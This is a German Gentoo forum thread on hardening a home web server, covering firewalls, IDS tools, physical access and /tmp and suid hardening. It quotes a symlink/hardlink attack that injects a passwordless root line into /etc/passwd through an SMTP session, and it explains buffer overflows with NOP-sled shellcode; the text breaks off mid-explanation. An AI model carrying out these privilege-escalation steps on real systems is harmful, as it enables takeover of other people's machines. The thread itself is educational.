# Gentoo sicher machen!

## finalmove

So, hallo zusammen,

nachdem ich nun mit der installation von gentoo fertig bin und auch alles recht schön läuft, möchte ich mich daran machen mein gentoo zu verwalten und damit zu arbeiten.

Ich habe vor mein gentoo so als kleiner webserver mit apache php mysql usw. laufen zu lassen aber als erstes möchte ich mich gerne um die sicherheit meines systems kümmern.

Gibt es unter linux so was wie ne firewall die eingebaut ist, wenn ja wüste ich gerne wie ich diese am besten konfigurieren kann und wenn nicht gibt es vielleicht wie unter win symantec firewalls oder ähnliches, wenn ja welche wäre so die beste firewall.

Was muss ich tun, das ich einen unberechtigten zugriff auf mein gentoo merke, ich habe extra einen system logger mitlaufen kann ich da was erkennen und wenn ja, wo muss ich da suchen.

Also ich denke ihr wisst was ich gerne wissen würde vielen dank für eure antworten schon mal im vorraus, finalmove.

----------

## ruth

hi,

als einstieg empfehle ich dir:

http://www.gentoo.org/doc/en/gentoo-security.xml

desweiteren:

lies dich in die apache (usw) doku ein...

ein fehlerhaft konfigurierter dienst ist auch durch eine firewall nicht auszumerzen...

btw:

nimm als firewall

```

emerge shorewall

```

lies dazu die (sehr gute) doku auf

http://www.shorewall.net

tja,

ansonsten ist das thema security zu komplex, um es in einem einzelnen post abzuhandeln...

falls du noch spezielle fragen hast, gerne..

gruss

rootshell

p.s.

die von dir angesprochenen systeme werden IDS genannt:

Intrusion Detection System.

darunter fallen z.b.

snort, aide, iplog, usw...

deren installation und konfiguration ist aber für einen einsteiger nicht ganz ohne...

aber aide ist schon zu empfehlen, denke ich...

----------

## finalmove

Vielen dank erst mal rootshell,

ich werd das alles so machen wie du das gesagt hast,

des weiteren hätte ich aber noch ne frage,

geht es, dass man ports auch händisch schließt, dass was halt dann die firewall für einen übernimmt, viele betriebe verwänden ja einen linux rechner als firewall wo liegen hierbei die forteile.

finalmove

----------

## dakjo

Du schliest alle Ports quasi händisch. Da du die Firewall ja konfigurierst.

Über die angesprochene Firewall , shorewall. Auch Shorewall ist nur ein Script 

um iptables zu konfigurieren. Ich würde sagen, lies dich auch mal in www.iptables.org ein. Dort werden dir sicherlich auch einige Fragrn zu Ports und security unter Linux beantwortet.

----------

## ruth

hi,

um mal klarheit in die begriffe zu bringen:

ein port, der von keinem dienst belegt wird -> geschlossen

ein port, der von keinem dienst belegt wird + per fw gesperrt ist -> geblockt / gefiltert

ein port, der durch eine fw _nicht_ geblockt wird und der durch einen dienst belegt wird: offen

ansonsten:

eine firewall ist prinzipiell  unnötig  !!!

und wiegt den anwender in falscher sicherheit.

viel wichtiger ist es, die laufenden dienste (ssh, smtp, pop3, www, usw) sicher und

vernünftig zu konfigurieren.

über einen port gehackt zu werden, auf dem kein dienst läuft ist, nunja, unwahrscheinlich  :Wink: 

über apache, smtp, pop3 und ähnliche daemonen dagegen sehr wahrscheinlich.

die firewall macht im regelfall ja genau diese ports auf !!!

also:

konfigurier deine dienste richtig...

btw:

natürlich kannst du auch einzelne ports blocken.

siehe dazu

```

man iptables

```

vor allem wird man das wohl verwenden, um z.b. die sasser wurm rückports im auge zu behalten....

(hab heute schon einen infizierten laptop von nem aussendienstler gefunden... *gg* )

naja, so long

gruss

rootshell

----------

## MrTom

Grundsätzlich muss ich da rootshell schon rechtgeben. Ist wie mit den Virenscannern. Und dann wundern sich immer alle, dass ein Virus doch mal durchkommt. Wenn man nach den Updates frägt, kommt dann meistens die Antwort: Der Virenscanner ist vor einen halben Jahr abgelaufen...

 *rootshell wrote:*   

> eine firewall ist prinzipiell  unnötig  !!!

 

Aber wieder auch nicht... Was ich z.B. immer mache ist ICMP zu blocken. Die meisten scannen immer noch mit einem einfachen Ping das Netz durch. Was auch gut kommt, aber ich noch selber mit Gentoo austesten muss, ist bei einem Ping oder Port-Test die IP der Gegenseite für z.B. 30 Minuten zu blocken. Bei den Firewalls von Watchguard gibt es eine geile Funktion. Dort kann mein einstellen, dass jemand geblockt wird, wenn er versucht die IP seq. auf Ports durchzuscannen.

----------

## ruth

hi,

naja, das hab ich oben wohl ein bischen überspitzt dargestellt...  :Wink: 

Mr.Tom hat natürlich insofern recht...

aber ich auch... *grins*

btw:

ich hab da so'n tool in arbeit...

das kann genau das, was Mr.Tom meint...

ist nur noch nicht so ausgereift, heisst:

mein resolver gefällt mir noch nicht...

aber:

bald kommt wieder ein program aus der reihe rootshell's useful scripts...  :Wink: 

gruss

rootshell

----------

## finalmove

vielen dank erst mal,

frage woran kann es liegen wenn mir mein gentoo sagt bei man iptables no manual entry for iptables muss ich da noch was emergen ?

----------

## ruth

hi,

in deinem eigenen interesse:

mach ein:

```

emerge shorewall

```

danach auf die seite

http://www.shorewall.net

dann konfigurieren

ich denke nicht, dass du bei dieser frage einen netfilter per hand konfigurieren kannst...  :Wink: 

btw:

```

emerge iptables

```

gruss

rootshell

----------

## finalmove

ok ich glaubs mal aber ich hoff ich werd mich in die materie so langsam einarbeiten find ich alles euserst interessant  @ian!: emerge iptables brauch ich nicht explicit angeben denn das braucht shorewall auch und lädt des deshalb gleich mit runter danke... bei configurationsfragen der firewall denke ich kann ich mit deiner, eurer hilfe rechnen...

mfg finalmove

----------

## finalmove

hallo zusammen,

also bin immer noch dabei shorewall docu zu lesen und versuch erst mal selber zu konfigurieren.

Aber ich hab noch ne andere frage wie ist es eigentlich möglich bei meiner installation habe ich bereits ein root passwort gesetzt danach habe ich noch einen fehler in meinem kernel gefunden.

Deshalb habe ich noch mal die gentoo installations cd eingelegt, und habe das gentoo verzeichnis gemountet und konnt ohne angabe eines passworts in mein gentoo chroot machen wie ist das möglich, ist das eine sicherheits lücke würde so was auch im netzwerk gehen usw.

warte auf gute antwort wie immer gruß finalmove

----------

## ruth

hi,

nein, keine sicherheitslücke...

aus

http://www.gentoo.org/doc/en/gentoo-security.xml

(hatte ich aber oben schon gepostet den link... hast du das auch gelesen ???)  :Evil or Very Mad: 

 *Quote:*   

> 
> 
> No matter how many safeguards you implement, all can easily be circumvented if the attacker can gain physical access to your box. Make sure your hardware is not casually accessible. For example, you may want to place your box in a locked server closet. Locking cases is a good idea too. For the highest level of security set your BIOS to restrict booting to your hard drive only. Disable booting from the floppy and CD-ROM drives. For the paranoid, enabling the BIOS password is a good idea. BIOS passwords are also a good idea for laptop users.
> 
> 

 

d.h.

wenn ein angreifer physikalischen zugriff auf deine maschine bekommt, bist du verloren...

gruss

rootshell

p.s.

die festplatte kann man natürlich trotzdem ausbauen...

hier hilft dann nur noch ein crypto-fs

dann ist auch kein chroot() mehr möglich; aber nur dann...

----------

## finalmove

@ian

net böse werden, ich hab mir die docu schon angeschaut, aber es war einfach nur eine prinzipielle frage wie das möglich ist ohne ein passwort abzufragen in eine ander gentoo umgebung zu wechseln.

Und ich wollte wissen ob so was auch remote möglich ist?

Sollte dies nicht möglich sein ist mir schon klar das das kein sicherheits risiko ist, aber das interesse bleibt dennoch, wie so etwas möglich ist.

----------

## ruth

hi,

um das nochmal ganz klar zu sagen:

aus man chroot:

```

NAME

       chroot - run command or interactive shell with special root directory

SYNOPSIS

       chroot NEWROOT [COMMAND...]

       chroot OPTION

```

wenn du die live cd gebooted hast, hast du ein ganz normales linux system gestarted, welches

sämtliche deine festpaltten kennst und mounten kann.

durch ein

```

chroot /mnt/gentoo /bin/bash

```

wechselst du einfach dein / (root) nach /mnt/gentoo und führst von da aus /bin/bash aus.

damit bist du in deinem system.

dementsprechend ist das _nicht_ remote möglich.

es braucht physikalischen zugang zur maschine (auch das hatte ich schon geschrieben)  :Rolling Eyes: 

alles klar jetzt?

gruss

rootshell

----------

## finalmove

also des mit dem chroot,

hab ich verstanden und auch das niemand an meine kiste direkt rankommen darf, hab mitlerweile noch gelesen das man sonst sogar ganz einfach über lilo an eine rootshell kommen kann.

aber noch eine andere frage ich habe hier im forum ein bisschen nach sicherheit gesucht und gelesen.

Dabei habe ich öfters gelesen das man recht einfach an die dateien /etc/passwd und /etc/shadow kommen soll, indem mann einfach in einem homeverzeichnis so weit man zugriff darauf hat ein .bash datei oder so löscht und dafür eine datei mit einem symbolischen link macht auf die oben gennannten dateien, stimmt das, wie funktioniert so was und wie kann ich so was verhindern

----------

## cryptosteve

 *finalmove wrote:*   

> hab ich verstanden und auch das niemand an meine kiste direkt rankommen darf, hab mitlerweile noch gelesen das man sonst sogar ganz einfach über lilo an eine rootshell kommen kann.

 

wenn jemand direkt an Deinen Rechner kommt, also Konsolenzugriff hat, hast Du ohnehin verloren. Darüber würde ich mir folglich wenig Gedanken machen ...

----------

## rockhead

selbst bei rechnerverlust ist man nicht hoffnungslos verloren.

um sensitive daten zu schützen, lassen sich verzeichnisse oder partionen verschlüsseln, so das sie für den neuen besitzer wertlos sind.

allerdings erfordern alle (mir bekannten) verfahren ein gewisses mass an selbstdisziplin.

eine der möglichkeiten ist gpgdir

----------

## Robelix

 *finalmove wrote:*   

> @ian
> 
> net böse werden, ich hab mir die docu schon angeschaut, aber es war einfach nur eine prinzipielle frage wie das möglich ist ohne ein passwort abzufragen in eine ander gentoo umgebung zu wechseln.
> 
> Und ich wollte wissen ob so was auch remote möglich ist?
> ...

 

Wenn ein Bösewicht es schafft remote eine Boot-CD/Disk einzulegen und zu rebooten, dann schon  :Cool: 

Im Ernst: Wenn ich physich an deinen Rechner komme, dann kann ich damit alles machen. Der Grund ist einfach, daß du dich gegenüber dem laufendem System authentifizieren mußt, und wenn ich es schaffe mein System laufen zu lassen, dann ist die Sache gegessen.

Ein crypto-filesystem hilft auch nur so weit, daß ich deine Daten nicht lesen kann, das Filesystem löschen/zerstören kann ich trotzdem.

Auch die BIOS-Passwörter sind kein wirklicher Schutz. Kiste aufschrauben, Batterie für ein paar Minuten rausnehmen, und weg isses...

Kurz und gut: Dein Rechner ist maximal so sicher wie dein Türschloss.

Robelix

----------

## Deever

So, um hier nun mal nen bisschen aufzuräumen...

 *finalmove wrote:*   

> geht es, dass man ports auch händisch schließt

 

Da gibts nichts zu schliessen. Genau die Ports sind offen, auf denen du "Dienste" Server laufen lässt, alle anderen sind zu.

 *dakjo wrote:*   

> Du schliest alle Ports quasi händisch. Da du die Firewall ja konfigurierst.

 

Parse error. Zwischen den beiden Sätzen besteht kein Zusammenhang.

 *rootshell wrote:*   

> eine firewall ist prinzipiell  unnötig !!! 

 

Bitte das Geplenke sein lassen, danke.

 *MrTom wrote:*   

> Aber wieder auch nicht...

 

Nehmt mal alle hier ein Blatt Papier und einen Rotstift zur Hand und schreibt folgendes auf:

```
Eine oder ein Firewall ist ein Konzept zur Trennung von miteinander kommunizierenden Netzwerken und dessen Umsetzung.
```

Steckt das in eure Mantel/Jacken/Hosentasche und lest es mind. 4x am Tag. Das wird euch helfen, den Begriff in Zukunft richtig zu gebrauchen, bzw. falsch nicht mehr zu gebrauchen.

Eine Firewall ist nicht:

-ein hostbased Packetfilter, die ausser als Krücke für Server wie Samba oder NFS sowieso keinen Daseinszweck haben (Samba/NFS sind auch nicht dafür gedacht, auf einem Router betrieben zu werden)

-eine Kompensation für meschliches Fehlverhalten (PEBKAC, Windows-Luser mit IE/Outlook o.ä.)

-Traktor

-Klavier

Gruß && HTH!

/dev

----------

## ruth

hi,

 *Deever wrote:*   

> 
> 
>  *rootshell wrote:*   eine firewall ist prinzipiell  unnötig !!!  
> 
> Bitte das Geplenke sein lassen, danke.
> ...

 

ich habe den begriff firewall hier in genau dem kontext verwendet, wie ihn hier ca. 90 % der user verwenden.

und in genau diesem kontext macht dieses konzept nicht allzuviel sinn...

ausserdem überspitzt ausgedrückt - das sagte ich schon...

ansonsten:

ja, deever, bist ein ganz grosser...  :Wink:  *streichel*

gruss

rootshell

----------

## Deever

 *rootshell wrote:*   

> ja, deever, bist ein ganz grosser...  *streichel*

 

Mist, ich hätte dazu präventiv was schreiben sollen!  :Wink: 

Gruß,

/dev

----------

## ruth

hi,

tja, siehste... *lach*

passiert ist passiert...*grins*

schönen abend noch...

gruss

rootshell

----------

## finalmove

Aloha zusammen,

ich habe mit freude festgestellt das sich jetzt auch mehr aktiv an der diskussion beteiligen.

Doch ich habe eins vermisst, ich weiß wirklich das niemand lokalen zugriff haben darf denn sonst kann er auch einfach meinen rechner mitnehemn oder die festplatteausbauen....

Aber ich hab doch noch ne frage gestellt auf die keiner einging, wie ist es mit diesen Symbolischen links usw. kann man so wirklich an sensieble daten kommen. Wenn ja wie kann ich dies unterbinden.

Habe ich da wieder mal was falsch aufgeschnappt möchte ich mich schon vorab dafür entschuldigen.

mfg Finalmove

----------

## Robelix

 *finalmove wrote:*   

> 
> 
> Aber ich hab doch noch ne frage gestellt auf die keiner einging, wie ist es mit diesen Symbolischen links usw. kann man so wirklich an sensieble daten kommen. Wenn ja wie kann ich dies unterbinden.
> 
> Habe ich da wieder mal was falsch aufgeschnappt möchte ich mich schon vorab dafür entschuldigen.
> ...

 

Ist doch gut wenn sich Leute dafür interessieren, was so passieren kann. Eine gesunde Paranoia hat noch niemandem geschadet   :Cool: 

Zu den Symlink-Attacken:

Eine IMHO ganz gute Beschreibung findet man hier

Und noch der Versuch einer kurzen Erkärung:

Erstmal: Für solche Attacken braucht der Angreifer normalerweise einen User-Account auf dem Rechner. Muß nicht unbedingt ein Shell-Zugang sein, auch z.B. mit cgi's läßt sich einiges anstellen. Der Angriff dient dann entweder dazu root-rechte zu erlangen oder die Kiste lahmzulegen.

Im Prinzip läuft's so ab, daß der Angreifer in ein Verzeichnis in dem er Schreibrechte hat (z.b. /tmp) einen Symlink auf eine Datei anlegt, auf die er keine Rechte hat (z.b. /etc/shadow).

Dann braucht's noch ein Programm, das mit root-rechten läuft (irgend ein daemon, z.b. sendmail) und ohne Prüfung Files in /tmp anlegt. So schafft es der User dann auf Files zu schreiben, die er eigentlich nicht beschreiben darf.

Was der Bösewicht damit genau anstellen kann ist dann relativ weit gestreut, und abhängig davon was das angreifbare Programm mit dem /tmp file macht - ein paar Beispiele:

 - wenn er damit Dateien überschreiben kann: System lahmlegen (/etc/shadow mit Müll überschreiben -> keiner kommt mehr rein, oder wichtige libs überschreiben -> System tot)

 - Dateien mit gezielten Daten überschreiben: Binaries durch seine Eigenen austauschen (besonders gefährlich bei suid, damit kann er root-rechte kriegen)

 - an Dateien anhängen: einen user mit root-rechten und eigenem passwort an /etc/shadow anhängen.

 - chmod: Leserechte an /etc/shadow erlangen, dann kann der Angreifer auf seinem Computer in aller Ruhe Wörterbuchattacken auf's root-passwort machen.

...

Hoffe, daß ich's einigermaßen erklären konnte,

Robelix

----------

## finalmove

OK Vielen dank, 

hab mir den link noch nicht durchgelesen aber deine beschreibung war super, ich habs schon so im großen und ganzen verstanden versuche so was mal bei mir zu machen.

mfg finalmove

----------

## LockeAverame

übrigens firewall lohnt auch um spoofing zu erschweren oder malformed packages auszufiltern. nur ports überwachen alleine is das nicht.

jedoch musst du da weit komplexere regeln konstruieren und stehst mit shorewall da eh auf dem schlauch. mir hat shorewall eh nie so recht gefallen im vergleich zu pur iptables. ansonsten is es noch recht wichtig PAM zu konfigurieren und kritische server am besten in nem chroot laufen lassen dass mit selinux oder grsecurity abgeschottet werden sollte. is jetzt vielleicht alles nen bissel für einen angehenden serveradmin, aber im großen und ganzen sollteste dich da langsam fit machen.

einige serverconfigs sind auch net ganz easy, gibt immer so ein paar fallstricke wo man aufpassen muss. ok denke mal das war genug senf ^^.

----------

## LockeAverame

achja nochwas: sequenzielles erfassen von portscans funzt idR recht schlecht, nmap permutiert die ports recht stark so dass du im besten fall mit protokollierung der portabfragen zugeordnet den ip's diese portscans ausfindig machen kannst. bei langen delayzeiten zwischen den scans muss folglich auch der log recht lange delayzeiten akzeptieren bei der zuordnung, dies sorgt aber für extrem große logfiles, die man eher schlecht verwenden kann. man is recht machtlos wenn der angreifer einen portscanner bedienen kann und man keinen sehr beschaulichen traffic besitzt.

----------

## finalmove

Also,

wieder mal ne neue frage:

ein freund hat bereits seit einigen jahren server im internet, dieser sagte zu mir er würde nie gentoo für seine server einsetzen, da man für gentoo alle möglichen c-compiler sachen auf dem system liegen haben muss, und dies eine potentielle gefahr darstellt, da jeder benutzer kompilieren kann was er will, man könne dies zwar einschrenken aber dabei sehr leicht fehler machen und somit potentiellen angreifern das leben erleichtern.

warte auf erklärungen was damit alles möglich ist und wie man diese schwachstelle best möglichst umgehen kann.

mfg finalmove

----------

## ruth

hi,

zuerst @LockeAverame:

gut gebrüllt löwe...

ich sage dir jedoch, dass es für einen anfänger sehr viel besser ist, eine sw wie

shorewall zu verwenden, als sich auf 'raw' iptables einzulassen...

einfacher, sicherer, usw... einfach besser in diesem fall.

schreien, dass er sich doch iptables draufschaffen soll ist ein bischen zu kurz gedacht hier.

und:

ja, ich glaub dir, dass du der grosse iptables guru bist, dann ist das ja ok.

aber finalmove ist im augenblick bei shorewall (oder anderen frontends) besser aufgehoben...

ach ja:

es ist durchaus möglich, portscans zu erkennen - durch die ganze nmap reihe durch...

aber warum sollte ich das tun?

ein portscan ist lt. einhelliger meinung weder ein einbruchsversuch noch sonst

in irgendeiner weise strafbar oder ähnliches. - die sind harmlos... ,-)

also schrei hier nicht so rum.

von den wirklichen angriffen, kriegen die meisten admins ja gar nichts mit...  :Wink: 

@finalmove:

https://forums.gentoo.org/viewtopic.php?t=166739

es lebe die suchfunktion, gell???  :Wink: 

diesem thread habe ich genau die angesprochene problematik erläutert:

nochmal in kurzform:

suid binaries -> weg damit, so suid nicht _zwingend_ nötig

/tmp/ als noexec,nosuid,nodev,noatime mounten. 

/usr/[machtype] chmod 0700 setzen -> gcc, usw nur als root ausführbar...  :Wink: 

wget, ftp, shar, unshar, lynx, links(2), uuencode, uudecode  auf 0700 setzen.

chroot() wo akzeptabel.

im gegensatz zu dem tollen LockeAverame bin ich jedoch der ansicht,

dass ein chroot() heutzutage nicht mehr zwingend erforderlich ist.

es schränkt den admin einfach zu sehr ein..

und den artikel how_to_break_out_of_chroot() sollte auch so ziemlich jeder

script-kiddie mittlerweile gelesen haben, also was soll das ganze noch?

ein chroot() ist jedenfalls nicht die lösung aller sicherheitsfragen...

ausserdem korrekt je nach dienst schwer aufzusetzen..

fazit:

chroot() kann helfen, tut es auch.

ein allheilmittel ist es sicher nicht.  :Wink: 

so, falls noch fragen sind...  :Wink: 

gruss

rootshell

----------

## Deever

 *rootshell wrote:*   

> ich sage dir jedoch, dass es für einen anfänger sehr viel besser ist, eine sw wie shorewall zu verwenden, als sich auf 'raw' iptables einzulassen...einfacher, sicherer, usw... einfach besser in diesem fall.
> 
> schreien, dass er sich doch iptables draufschaffen soll ist ein bischen zu kurz gedacht hier.

 

Also um jetzt auch noch meinen Senf dazuzugeben:

Ich bin davon überzeugt, dass ich mit $FRONTEND in Bezug auf Kenntnisse TCP/IP niemals da wäre, wo ich jetzt bin. Liegt vermutlich auch daran, dass Linux damals noch nicht cool war und es derartiges auch noch nicht (wirklich) gab.  :Wink: 

Der Punkt "mit $FRONTEND ist der Anfänger sicherer" ist zwar richtig, trotzdem würde ich jedem raten, möglichst schnell/immer zu erkunden, "Was macht $FRONTEND überhaupt?" (Hint: 'iptables -L'). Gerade in diesem Gebiet hab ich besonders viele Möchtegern-Profis gesehen. (Nein, nicht du! @rootshell  :Very Happy: )

 *Quote:*   

> schreien, dass er sich doch iptables draufschaffen soll ist ein bischen zu kurz gedacht hier.

 

Nanü, sind denn das alles nicht Frontends zu Iptables? Wäre mir neu!

An das Setzen der umask sollte man übrigens bei lokalen Usern auch noch denken! 022 ist da IMHO einfach zu locker.  :Wink: 

Gruß,

/dev

----------

## LockeAverame

argh, nein, ich bin kein guru. ich wollte nur darauf hinweisen, weil ich genau das des öfteren erlebe und gerade dadurch viele angriffe erst möglich werden. gut klar, es is zum teil overkill, für alles nen chroot zu haben aber gerade dienste wie ftp und apache sind da recht riskant.

wie gesagt mir hat damals shorewall nicht gefallen, is auch schon etwas her das ich es genutzt habe und die generierte iptablesliste war nicht wirklich berauschend damals. naja bin damals auch ins kalter wasser gesprungen und step by step firewallregeln konstruiert und durch mehreres lesen im netz infos zusammengesucht, naja nen gutes buch is bei iptables auf jeden fall eher empfehlenswert.

und nochwas, auch nmap kann man soweit recht gut verschleiern, ich glaube kaum dass dir bei einem server mit hohem traffic ein tcp syn pro stunde auffällt.

----------

## LockeAverame

achja und das breakout für chroot() hilft dir nix bei gut eingestelltem selinux/grsecurity. lediglich übern nen kernelbug haste da eventuell noch chancen. aber da is eh hopfen und mais verloren.

----------

## finalmove

hallo zusammen,

ich habe mich jetzt erst mal mit links beschäftigt und dazu eine recht gute docu gefunden: http://infosecwriters.com/texts.php?op=display&id=159

naja und in dieser werden einige möglichkeiten beschrieben wie man sich root rechte erschleichen kann.

Wie soll das folgende funktionieren, wenn...

```

k1d$ ln /etc/passwd /var/tmp/dead.letter

k1d$ nc -v localhost 25

HELO localhost

MAIL FROM: this@host.doesn't.exist

RCPT TO: this@host.doesn't.exist

DATA

r00t::0:0:0wned:/root:/bin/sh

.

QUIT

```

man keinen nc installiert hat.

und ich habe auch das andere getested und es hat bei mir nicht funktioniert ? warum, hab ich etwas falsch gemacht oder konnte es nicht funktionieren weil diese sicherheits lücken bereits behoben wurden !

Also den besten schutz gegen lücken in sendmail weiß ich schon einfach nicht installieren !!!

```

--- vulnscr.sh ---

#!/bin/sh

if  [ -z '$1' ]; then

        echo 'Usage: vulnscr '

   exit

fi

echo 'vulnscr - vulnerable to a symlink bug.'

echo 'writing 'Hello World' to' $1

sleep 3

echo 'Hello World' >> $1

sleep 1

echo 'Setting perms.'

chmod 666 $1

echo 'Done!'

---- EOF ----

---

k1d$ ln -s /etc/passwd test

[...]

root# vulnscr.sh test

vulnscr - vulnerable to a symlink bug.

writing 'Hello World' to test

Setting perms.

Done!

[...]

k1d$ grep -n "Hello World" /etc/passwd

32:Hello World

k1d$ ls -al /etc/passwd

-rw-rw-rw- 1 root root 1460 2004-03-15 16:00 /etc/passwd

--- 

```

das hat auch nicht funktioniert, ich habe dem programm einfach ausführbare rechte gegeben, das müßte doch reichen oder....

naja viellen dank schon mal für die antworten, ich weiß das ich keine anleitung wie ich das machen kann erhalten werden! aber ich wüsste gerne ob da was falsch ist insofern man mit diesen fehlern eh keinen schaden mehr anrichten kann , da sie ja eh schon jeder kennt !

mfg finalmove

p.s. nicht wütend reagieren !!!

----------

## ruth

hi,

 *Deever wrote:*   

> 
> 
> Ich bin davon überzeugt, dass ich mit $FRONTEND in Bezug auf Kenntnisse TCP/IP niemals da wäre, wo ich jetzt bin. Liegt vermutlich auch daran, dass Linux damals noch nicht cool war und es derartiges auch noch nicht (wirklich) gab. 
> 
> Der Punkt "mit $FRONTEND ist der Anfänger sicherer" ist zwar richtig, trotzdem würde ich jedem raten, möglichst schnell/immer zu erkunden, "Was macht $FRONTEND überhaupt?" (Hint: 'iptables -L'). Gerade in diesem Gebiet hab ich besonders viele Möchtegern-Profis gesehen. 
> ...

 

da hast du absolut recht...  :Wink: 

jedoch kann ein anfänger mit raw iptables leider sehr schnell sehr viel kaputtkonfigurieren.

und solange bis das nötige know how vorhanden ist, sind $frontends eindeutig die

bessere lösung....

später ist das definitiv anders...

(da denke ich immer wieder gerne an die zeit, als iptables gerade rausgekommen waren...

keine howtos, keine $frontends, keiner kannte sich aus...

meine erste 'raw iptables' regelkette war, nun ja, alles andere als professionell und sicher...

ich spreche also aus erfahrung, wenn ich anfängern erstmal ein gutes $frontend empfehle.

(ich schliesse hier also schamlos von mir auf andere..., YMMV))   :Wink: 

 *Deever wrote:*   

> 
> 
> (Nein, nicht du! @rootshell )
> 
> 

 

deever, du bist ok...  - als ich das gelesen habe, hab ich direkt lachen müssen...  :Wink: 

gruss

rootshell

----------

## ruth

hi,

 *LockeAverame wrote:*   

> 
> 
> und nochwas, auch nmap kann man soweit recht gut verschleiern, ich glaube kaum dass dir bei einem server mit hohem traffic ein tcp syn pro stunde auffällt.

 

mir sind portscans auch ziemlich egal, muss ich sagen;

(abgesehen vom zusätzlichen traffic...)

und bis nmap -T Sneaky krieg ich das mit, wenn ich will....  :Wink: 

wer dann mit -T Paranoid ein ganzes subnet scannen will, naja, der braucht auf alle fälle zeit...  :Wink: 

wie gesagt: ein portscan ist legal und ungefährlich...

(ich weiss, daran muss man sich erstmal gewöhnen...)

gefährlicher wirds, wenn in applogs so sachen wie:

```

\x90\x90\x90\xef\xa4...\x80....

```

oder sonstige wilde zeichen und kombinationen auftauchen, falls sowas überhaupt in den logs auftaucht...  :Wink: 

auch programmabstürze, undefinierbare reloads, usw, usw sind ein schlechtes zeichen...

das sind angriffe...

gruss

rootshell

----------

## Deever

 *rootshell wrote:*   

>  *Deever wrote:*   
> 
> (Nein, nicht du! @rootshell )
> 
>  
> ...

 

*grins*... :Wink: 

 *Quote:*   

> wer dann mit -T Paranoid ein ganzes subnet scannen will, naja, der braucht auf alle fälle zeit...

 

Also wenn du ein eigenes öffentliches Subnetz hast, kannst du nicht benutzte Adressen beim Router auf das dummy-Interface umleiten und dann dort angekommene Pakete loggen. Da diese Adressen logischerweise keinen Traffic bekommen können, hat dessen Urheber nicht die "gutesten" Absichten und kann mit dieser Methode sehr einfach gefi**t werden...

HTH! && Gruß,

/dev

----------

## finalmove

Also, hallo zusammen,

wie ich feststelle habt ihr mittlerweile einen kleinen lustigen dialog gestarted, aber ich finde es schade das niemand auf die frage eingegangen ist die ich oben gepostet habe.

zu dem thema mit dem $FRONTEND möchte ich auch noch mal was fragen - sagen, also mit frontend meint ihr wohl eine grafische oberfläche, wenn ja muß ich rootshell entäuschen denn ich verwände keine grafische oberfläche und wenn mir dann das programm nichts mehr bringt hätte ich gerne ein tut zu dem thema wie ich eine ip table per hand konfigurieren kann, auch wenn, wie es den anschein hat dies einiges an mehraufwand bedeuted aber wie schon gesagt wurde werde ich sicher, wenn ich die iptables selber konfiguriere einiges dazu lernen, ich bin auch gerne bereit neues zu erfahren.

Geht bitte auch noch mal auf die frage mit den links ein !

Vielen dank schon mal für die antworten mfg finalmove

----------

## Aldo

@rootshell

Was hat es denn konkret damit auf sich?

```

\x90\x90\x90\xef\xa4...\x80....

```

Sowas ist in meinen http-logs aufgetaucht und blähte das Log extrem auf.

Allerdings konnte ich weiter nichts verdächtiges feststellen...

Außer "größtenteils Harmlos" hat meine Recherche dazu nicht gebracht...

----------

## Ragin

Das sind im Normalfall wilde Scan-/Einbruchsversuche.

Wobei hier die Frage ist, was genau da steht.

----------

## Aldo

 *Ragin wrote:*   

> Das sind im Normalfall wilde Scan-/Einbruchsversuche.
> 
> Wobei hier die Frage ist, was genau da steht.

 

Zum quoten wohl zu lang, aber hier mal ein Eintrag: http://www.club97.de.vu/users/access_log

----------

## Ragin

Soweit ich weiss ist das das Ergebnis von einem mod_dav exploid.

Hast du das zufällig laufen?

Wenn ja weisst du, dass sich jemand an dir vergnügt hat  :Smile: 

----------

## ruth

hi,

um da mal klarheit reinzukriegen:

iptables (das binary) ist ein $frontend zum netfilter subsystem der kernels.

ziemlich lowlevel zwar, aber an sich (natürlich) das leistungsfähigste und das generische...

(und fehleranfälligste für anfänger..) - logisch.

dadurch, dass eben die ordnungsgemässe bedienung dieses frontends

gewisse kenntnisse erfordert, haben adere entwickler quasi frontends für das frontend

geschrieben, um die sache einfacher zu machen - dass dabei die flexibilität von iptables

auf der strecke bleibt ist klar...

an frontend-frontends gibt es viele, seien es shellscripts, perlscripts, curses-frontends,

kde-frontends, gtk-frontends, usw, usw...

alle haben eines gemeinsam:

an irgendeinem punkt rufen sie das iptables binary (das eigentliche frontend) zum setzen

von regeln auf.

hoffe, damit ist das klarer...  :Wink: 

das mit dem:

```

\x90\xc3....

```

ist folgendes:

wie schon erwähnt haben eigentlich alle webserverbetreiber genau solche einschläge in den logs...

in diesem falle beginnt die logzeile immer mit der methode SEARCH.

das ist in der tat ein WebDAV exploit für den IIS von Microsoft.

grundsätzlich aber ist diese art code sogenannter shellcode

shellcode wird beim entwickeln von exploits (allgemein) eingesetzt und zum beispiel

einen in eine übergelaufenen puffer geschrieben, der dann vom prozessor ausgeführt wird.

das bekannteste beispiel hierzu ist sicher die C funktion strcpy().

sehen wir uns einmal die manpage von strcpy() an:

```
       

#include <string.h>

char *strcpy(char *dest, const char *src);

```

hier ein einfacher prototyp für einen solchen programmierfehler:

```

int main(int argc, char *argv[]) {

  char buffer[52];

  if (argc > 1)

    strcpy(buffer,argv[1]);

}

```

dieses programm wird solange ordnungsgemäss funktionieren, bis.. ja bis jemand auf die

idee kommt, als argv[1] einen string, der länger ist als buffer aufzunehmen vermag an das

programm zu senden...

in der realität sieht das dann so aus:

```

bash-2.05b$ ./a.out

bash-2.05b$

```

das programm läuft ordnungsgemäss... - noch...  :Wink: 

sehen wir, was dann passiert:

```

bash-2.05b$ ./a.out eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

Segmentation fault

bash-2.05b$

```

hier haben wir ein, das klassische beispiel eines buffer overflows provoziert...

nun, ich vereinfache das ganze jetzt sehr, aber:

auf dem sog. stack wird platz für den puffer (buffer) reserviert.

hinter dem buffer stehen aber noch ganz andere sachen, die für den ordnungsgemässen

programmablauf von bedeutung sind, u.a. der EIP, rücksprungadressen, usw, usw.

wenn an das programm also ein zu langer string übergeben wird, kehrt der programmablauf

nicht mehr zurück wie vorgesehen, sondern führt weiter lustig die befehle im stack aus.

übrigens setzen genau hier kernpatches wie grsecurity an, die dann genau den stack

auf noexec() setzen...  :Wink: 

wenn ich also statt der ganzen eeeeeeeeeeee's einen anderen puffer sende, zum beispiel einen,

in der zuerst diverse \x90 (NOP), dann der shellcode, dann die rücksprungadresse enthält, dann habe ich gute chancen,

